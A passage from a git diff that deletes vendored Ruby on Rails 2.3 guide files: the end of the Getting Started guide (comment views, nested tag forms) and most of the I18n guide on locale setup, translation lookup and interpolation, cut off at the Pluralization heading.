-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit "Create" %>
-  </p>
-<% end %>
-
-<%= link_to 'Back', post_comments_path(@post) %>
-</erb>
-
-The +views/comments/show.html.erb+ view:
-
-<erb>
-<h1>Comment on <%= @post.title %></h1>
-
-<p>
-  <b>Commenter:</b>
-  <%=h @comment.commenter %>
-</p>
-
-<p>
-  <b>Comment:</b>
-  <%=h @comment.body %>
-</p>
-
-<%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> |
-<%= link_to 'Back', post_comments_path(@post) %>
-</erb>
-
-The +views/comments/edit.html.erb+ view:
-
-<erb>
-<h1>Editing comment</h1>
-
-<% form_for([@post, @comment]) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit "Update" %>
-  </p>
-<% end %>
-
-<%= link_to 'Show', post_comment_path(@post, @comment) %> |
-<%= link_to 'Back', post_comments_path(@post) %>
-</erb>
-
-Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time.
-
-h4. Hooking Comments to Posts
-
-As a next step, I'll modify the +views/posts/show.html.erb+ view to show the comments on that post, and to allow managing those comments:
-
-<erb>
-<p>
-  <b>Name:</b>
-  <%=h @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%=h @post.content %>
-</p>
-
-<h2>Comments</h2>
-<% @post.comments.each do |c| %>
-  <p>
-    <b>Commenter:</b>
-    <%=h c.commenter %>
-  </p>
-
-  <p>
-    <b>Comment:</b>
-    <%=h c.body %>
-  </p>
-<% end %>
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-<%= link_to 'Manage Comments', post_comments_path(@post) %>
-</erb>
-
-Note that each post has its own individual comments collection, accessible as +@post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+.
-
-h3. Building a Multi-Model Form
-
-Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let's add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:
-
-<shell>
-$ script/generate model tag name:string post:references
-</shell>
-
-Run the migration to create the database table:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails that you intend to edit tags via posts:
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates_presence_of :name, :title
-  validates_length_of :title, :minimum => 5
-  has_many :comments
-  has_many :tags
-
-  accepts_nested_attributes_for :tags, :allow_destroy => :true  ,
-    :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
-end
-</ruby>
-
-The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in.
-
-You'll also need to modify +views/posts/_form.html.erb+ to include the tags:
-
-<erb>
-<% @post.tags.build if @post.tags.empty? %>
-<% form_for(@post) do |post_form| %>
-  <%= post_form.error_messages %>
-
-  <p>
-    <%= post_form.label :name %><br />
-    <%= post_form.text_field :name %>
-  </p>
-  <p>
-    <%= post_form.label :title, "title" %><br />
-    <%= post_form.text_field :title %>
-  </p>
-  <p>
-    <%= post_form.label :content %><br />
-    <%= post_form.text_area :content %>
-  </p>
-  <h2>Tags</h2>
-  <% post_form.fields_for :tags do |tag_form| %>
-    <p>
-      <%= tag_form.label :name, 'Tag:' %>
-      <%= tag_form.text_field :name %>
-    </p>
-    <% unless tag_form.object.nil? || tag_form.object.new_record? %>
-      <p>
-        <%= tag_form.label :_destroy, 'Remove:' %>
-        <%= tag_form.check_box :_destroy %>
-      </p>
-    <% end %>
-  <% end %>
-
-  <p>
-    <%= post_form.submit "Save" %>
-  </p>
-<% end %>
-</erb>
-
-With these changes in place, you'll find that you can edit a post and its tags directly on the same view.
-
-NOTE. You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the "nested model sample application":http://github.com/alloy/complex-form-examples/tree/nested_attributes.
-
-h3. What's Next?
-
-Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:
-
-* The "Ruby On Rails guides":http://guides.rubyonrails.org
-* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
-* The #rubyonrails channel on irc.freenode.net
-
-Rails also comes with built-in help that you can generate using the rake command-line utility:
-
-* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides.
-* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation.
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2
-
-* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy
-* November 3, 2008: Formatting patch from Dave Rothlisberger
-* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy
-* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* September 8, 2008: initial version by James Miller (not yet approved for publication)
diff --git a/vendor/rails/railties/guides/source/i18n.textile b/vendor/rails/railties/guides/source/i18n.textile
deleted file mode 100644
index 103ccb1c..00000000
--- a/vendor/rails/railties/guides/source/i18n.textile
+++ /dev/null
@@ -1,912 +0,0 @@
-h2. Rails Internationalization (I18n) API
-
-The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
-
-The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
-
-So, in the process of _internationalizing_ your Rails application you have to:
-
-* Ensure you have support for i18n
-* Tell Rails where to find locale dictionaries
-* Tell Rails how to set, preserve and switch locale
-
-In the process of _localizing_ your application you'll probably want to do following three things:
-
-* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc
-* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
-* Store the resulting dictionaries somewhere
-
-This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start.
-
-endprologue.
-
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
-
-h3. How I18n in Ruby on Rails Works
-
-Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
-
-* providing support for English and similar languages out of the box
-* making it easy to customize and extend everything for other languages
-
-As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
-
-h4. The Overall Architecture of the Library
-
-Thus, the Ruby I18n gem is split into two parts:
-
-* The public API of the i18n framework -- a Ruby module with public methods that define how the library works
-* A default backend (which is intentionally named _Simple_ backend) that implements these methods
-
-As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
-
-NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
-
-h4. The Public I18n API
-
-The most important methods of the I18n API are:
-
-<ruby>
-translate # Lookup text translations
-localize  # Localize Date and Time objects to local formats
-</ruby>
-
-These have the aliases #t and #l so you can use them like this:
-
-<ruby>
-I18n.t 'store.title'
-I18n.l Time.now
-</ruby>
-
-There are also attribute readers and writers for the following attributes:
-
-<ruby>
-load_path         # Announce your custom translation files
-locale            # Get and set the current locale
-default_locale    # Get and set the default locale
-exception_handler # Use a different exception_handler
-backend           # Use a different backend
-</ruby>
-
-So, let's internationalize a simple Rails application from the ground up in the next chapters!
-
-h3. Setup the Rails Application for Internationalization
-
-There are just a few simple steps to get up and running with I18n support for your application.
-
-h4. Configure the I18n Module
-
-Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
-
-Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically.
-
-The default +en.yml+ locale in this directory contains a sample pair of translation strings:
-
-<ruby>
-en:
-  hello: "Hello world"
-</ruby>
-
-This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
-
-The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
-
-NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish).  However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":http://github.com/joshmh/globalize2/tree/master may help you implement it.
-
-The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
-
-NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
-
-The default +environment.rb+ files has instruction how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
-
-<ruby>
-# The internationalization framework can be changed
-# to have another default locale (standard is :en) or more load paths.
-# All files from config/locales/*.rb,yml are added automatically.
-# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
-# config.i18n.default_locale = :de
-</ruby>
-
-h4. Optional: Custom I18n Configuration Setup
-
-For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too.
-
-To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
-
-<ruby>
-# in config/initializer/locale.rb
-
-# tell the I18n library where to find your translations
-I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', 
-  '*.{rb,yml}') ]
-
-# set default locale to something other than :en
-I18n.default_locale = :pt
-</ruby>
-
-h4. Setting and Passing the Locale
-
-If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +environment.rb+ or an initializer as shown above, and it will persist through the requests.
-
-However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
-
-WARNING: You may be tempted to store the chosen locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "_RESTful_":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below.
-
-The _setting part_ is easy. You can set the locale in a +before_filter+ in the ApplicationController like this:
-
-<ruby>
-before_filter :set_locale
-def set_locale
-  # if params[:locale] is nil then I18n.default_locale will be used
-  I18n.locale = params[:locale]
-end
-</ruby>
-
-This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
-
-Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
-
-IMPORTANT: The following examples rely on having available locales loaded into your application as an array of strings like +["en", "es", "gr"]+. This is not included in the current version of Rails 2.2 -- the forthcoming Rails version 2.3 will contain the easy accessor +available_locales+. (See "this commit":http://github.com/svenfuchs/i18n/commit/411f8fe7c8f3f89e9b6b921fa62ed66cb92f3af4 and background at "Rails I18n Wiki":http://rails-i18n.org/wiki/pages/i18n-available_locales.)
-
-So, for having available locales easily accessible in Rails 2.2, we have to include this support manually in an initializer, like this:
-
-<ruby>
-# config/initializers/available_locales.rb
-#
-# Get loaded locales conveniently
-# See http://rails-i18n.org/wiki/pages/i18n-available_locales
-module I18n
-  class << self
-    def available_locales; backend.available_locales; end
-  end
-  module Backend
-    class Simple
-      def available_locales; translations.keys.collect { |l| l.to_s }.sort; end
-    end
-  end
-end
-
-# You need to "force-initialize" loaded locales
-I18n.backend.send(:init_translations)
-
-AVAILABLE_LOCALES = I18n.backend.available_locales
-RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}"
-</ruby>
-
-You can then wrap the constant for easy access in ApplicationController:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  def available_locales; AVAILABLE_LOCALES; end
-end
-</ruby>
-
-h4. Setting the Locale from the Domain Name
-
-One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
-
-* The locale is an _obvious_ part of the URL
-* People intuitively grasp in which language the content will be displayed
-* It is very trivial to implement in Rails
-* Search engines seem to like that content in different languages lives at different, inter-linked domains
-
-You can implement it like this in your ApplicationController:
-
-<ruby>
-before_filter :set_locale
-def set_locale
-  I18n.locale = extract_locale_from_uri
-end
-# Get locale from top-level domain or return nil if such locale is not available
-# You have to put something like:
-#   127.0.0.1 application.com
-#   127.0.0.1 application.it
-#   127.0.0.1 application.pl
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_tld
-  parsed_locale = request.host.split('.').last
-  (available_locales.include? parsed_locale) ? parsed_locale  : nil
-end
-</ruby>
-
-We can also set the locale from the _subdomain_ in a very similar way:
-
-<ruby>
-# Get locale code from request subdomain (like http://it.application.local:3000)
-# You have to put something like:
-#   127.0.0.1 gr.application.local
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_subdomain
-  parsed_locale = request.subdomains.first
-  (available_locales.include? parsed_locale) ? parsed_locale  : nil
-end
-</ruby>
-
-If your application includes a locale switching menu, you would then have something like this in it:
-
-<ruby>
-link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
-</ruby>
-
-assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
-
-This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
-
-h4. Setting the Locale from the URL Params
-
-The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
-
-This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
-
-Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course.
-
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
-
-We can include something like this in our ApplicationController then:
-
-<ruby>
-# app/controllers/application_controller.rb
-def default_url_options(options={})
-  logger.debug "default_url_options is passed options: #{options.inspect}\n"
-  { :locale => I18n.locale }
-end
-</ruby>
-
-Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
-
-You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
-
-You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way:
-
-<ruby>
-# config/routes.rb
-map.resources :books, :path_prefix => '/:locale'
-</ruby>
-
-Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
-
-Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +map.root :controller => "dashboard"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.)
-
-You would probably need to map URLs like these:
-
-<ruby>
-# config/routes.rb
-map.dashboard '/:locale', :controller => "dashboard"
-</ruby>
-
-Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.)
-
-IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
-
-h4. Setting the Locale from the Client Supplied Information
-
-In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' prefered language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
-
-
-h5. Using +Accept-Language+
-
-One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
-
-A trivial implementation of using an +Accept-Language+ header would be:
-
-<ruby>
-def set_locale
-  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
-  I18n.locale = extract_locale_from_accept_language_header
-  logger.debug "* Locale set to '#{I18n.locale}'"
-end
-private
-def extract_locale_from_accept_language_header
-  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
-end
-</ruby>
-
-Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":http://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb.
-
-h5. Using GeoIP (or Similar) Database
-
-Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your prefered locale for the country/region/city returned.
-
-h5. User Profile
-
-You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
-
-h3. Internationalizing your Application
-
-OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
-
-Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide neccessary translations for these abstracts.
-
-You most probably have something like this in one of your applications:
-
-<ruby>
-# config/routes.rb
-ActionController::Routing::Routes.draw do |map|
-  map.root :controller => 'home', :action => 'index'
-end
-
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
-  def index
-    flash[:notice] = "Hello flash!"
-  end
-end
-
-# app/views/home/index.html.erb
-<h1>Hello world!</h1>
-<p><%= flash[:notice] %></p>
-</ruby>
-
-!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
-
-h4. Adding Translations
-
-Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
-
-<ruby>
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
-  def index
-    flash[:notice] = t(:hello_flash)
-  end
-end
-
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p>
-</ruby>
-
-When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
-
-!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
-
-NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +&lt;span class="translation_missing"&gt;+.
-
-So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
-
-<ruby>
-# config/locale/en.yml
-en:
-  hello_world: Hello World
-  hello_flash: Hello Flash
-
-# config/locale/pirate.yml
-pirate:
-  hello_world: Ahoy World
-  hello_flash: Ahoy Flash
-</ruby>
-
-There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
-
-!images/i18n/demo_translated_en.png(rails i18n demo translated to english)!
-
-And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
-
-!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
-
-NOTE: You need to restart the server when you add new locale files.
-
-You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the prefered option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
-
-h4. Adding Date/Time Formats
-
-OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
-
-<ruby>
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p
-<p><%= l Time.now, :format => :short %></p>
-</ruby>
-
-And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-
-<ruby>
-# config/locale/pirate.yml
-pirate:
-  time:
-    formats:
-      short: "arrrround %H'ish"
-</ruby>
-
-So that would give you:
-
-!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
-
-TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the "rails-i18n repository at Github":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically be ready for use.
-
-h4. Localized Views
-
-Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
-
-You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
-
-h4. Organization of Locale Files
-
-When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
-
-For example, your +config/locale+ directory could look like this:
-
-<pre>
-|-defaults
-|---es.rb
-|---en.rb
-|-models
-|---book
-|-----es.rb
-|-----en.rb
-|-views
-|---defaults
-|-----es.rb
-|-----en.rb
-|---books
-|-----es.rb
-|-----en.rb
-|---users
-|-----es.rb
-|-----en.rb
-|---navigation
-|-----es.rb
-|-----en.rb
-</pre>
-
-This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
-
-NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
-
-<ruby>
-  # config/environment.rb
-  config.i18n.load_path += Dir[File.join(RAILS_ROOT, 'config', 'locales', '**', '*.{rb,yml}')]
-</ruby>
-
-Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
-
-h3. Overview of the I18n API Features
-
-You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application.  In the following chapters, we'll cover it's features in more depth.
-
-Covered are features like these:
-
-* looking up translations
-* interpolating data into translations
-* pluralizing translations
-* localizing dates, numbers, currency, etc.
-
-h4. Looking up Translations
-
-h5. Basic Lookup, Scopes and Nested Keys
-
-Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
-
-<ruby>
-I18n.t :message
-I18n.t 'message'
-</ruby>
-
-The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
-
-<ruby>
-I18n.t :invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
-
-This looks up the +:invalid+ message in the Active Record error messages.
-
-Additionally, both the key and scopes can be specified as dot-separated keys as in:
-
-<ruby>
-I18n.translate :"activerecord.errors.messages.invalid"
-</ruby>
-
-Thus the following calls are equivalent:
-
-<ruby>
-I18n.t 'activerecord.errors.messages.invalid'
-I18n.t 'errors.messages.invalid', :scope => :active_record
-I18n.t :invalid, :scope => 'activerecord.errors.messages'
-I18n.t :invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
-
-h5. Defaults
-
-When a +:default+ option is given, its value will be returned if the translation is missing:
-
-<ruby>
-I18n.t :missing, :default => 'Not here'
-# => 'Not here'
-</ruby>
-
-If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
-
-E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
-
-<ruby>
-I18n.t :missing, :default => [:also_missing, 'Not here']
-# => 'Not here'
-</ruby>
-
-h5. Bulk and Namespace Lookup
-
-To look up multiple translations at once, an array of keys can be passed:
-
-<ruby>
-I18n.t [:odd, :even], :scope => 'activerecord.errors.messages'
-# => ["must be odd", "must be even"]
-</ruby>
-
-Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
-
-<ruby>
-I18n.t 'activerecord.errors.messages'
-# => { :inclusion => "is not included in the list", :exclusion => ... }
-</ruby>
-
-h5. "Lazy" Lookup
-
-Rails 2.3 implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
-
-<yaml>
-es:
-  books:
-    index:
-      title: "Título"
-</yaml>
-
-you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot): 
-
-<ruby>
-<%= t '.title' %>
-</ruby>
-
-h4. Interpolation
-
-In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
-
-All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
-
-<ruby>
-I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!'
-I18n.translate :thanks, :name => 'Jeremy'
-# => 'Thanks Jeremy!'
-</ruby>
-
-If a translation uses +:default+ or +:scope+ as an interpolation variable, an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
-
-h4. Pluralization
-
